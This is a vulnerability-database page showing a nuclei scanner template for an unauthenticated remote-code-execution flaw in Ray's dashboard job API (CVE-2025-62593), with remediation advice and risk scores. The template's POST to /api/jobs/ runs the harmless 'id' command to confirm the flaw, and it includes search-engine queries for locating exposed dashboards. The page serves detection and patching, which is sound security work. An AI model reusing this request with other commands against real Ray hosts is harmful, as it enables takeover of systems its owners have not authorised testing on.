Lucene search
+L

Ray < 2.52.0 - Remote Code Execution

🗓️ 25 Sep 2026 03:12:54Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 8 Views

Unauthenticated RCE in Ray < 2.52.0 via job submission API User-Agent bypass.

Related
Refs
Code
id: CVE-2025-62593

info:
  name: Ray < 2.52.0 - Remote Code Execution
  author: Veraptos VaaS Alpha
  severity: critical
  description: |
    Ray versions prior to 2.52.0 allow unauthenticated remote code execution via the job submission API at /api/jobs/. A weak User-Agent heuristic (rejecting Mozilla-prefixed headers) can be bypassed by non-browser clients, enabling arbitrary command execution when the dashboard is network-reachable.
  impact: |
    Unauthenticated attackers with network access to the Ray Dashboard can submit jobs that execute arbitrary commands on the host.
  remediation: |
    Upgrade Ray to version 2.52.0 or later and enable RAY_AUTH_MODE=token. Restrict dashboard access to trusted networks.
  reference:
    - https://github.com/ray-project/ray/security/advisories/GHSA-q279-jhrf-cc6v
    - https://github.com/projectdiscovery/nuclei-templates/issues/16961
    - https://nvd.nist.gov/vuln/detail/CVE-2025-62593
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-62593
    epss-score: 0.2729
    epss-percentile: 0.97989
    cwe-id: CWE-94
  metadata:
    verified: true
    max-request: 2
    vendor: ray_project
    product: ray
    shodan-query:
      - http.favicon.hash:463802404
      - http.html:"ray dashboard"
    fofa-query:
      - icon_hash=463802404
      - body="ray dashboard"
  tags: cve,cve2025,rce,ray,kev,vkev

flow: http(1) && http(2)

variables:
  jobid: "1Job_{{rand_base(6)}}"

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - '<title>Ray Dashboard'
          - '/css/main.388a904b.css'
        condition: and
        internal: true

  - raw:
      - |
        POST /api/jobs/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"entrypoint":"id","submission_id":"{{jobid}}"}

      - |
        GET /api/jobs/{{jobid}}/logs?{{wait_for(3)}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'uid=\d+'

      - type: word
        part: content_type
        words:
          - 'application/json'

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body
        name: jobid
        regex:
          - 'uid=(\d+)'
# digest: 490a0046304402206bf32f6befd8299a4df5ba0123505215b0a11a40a446b6acd91fa92f0401efd50220479fb7903c31735a22c3e2c83df357ada10fffe182207973bdb7b8ccd830b55a:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Sep 2026 03:19Current
8.8High risk
Vulners AI Score8.8
CVSS 3.18.8
CVSS 49.4
EPSS0.62459
SSVC
8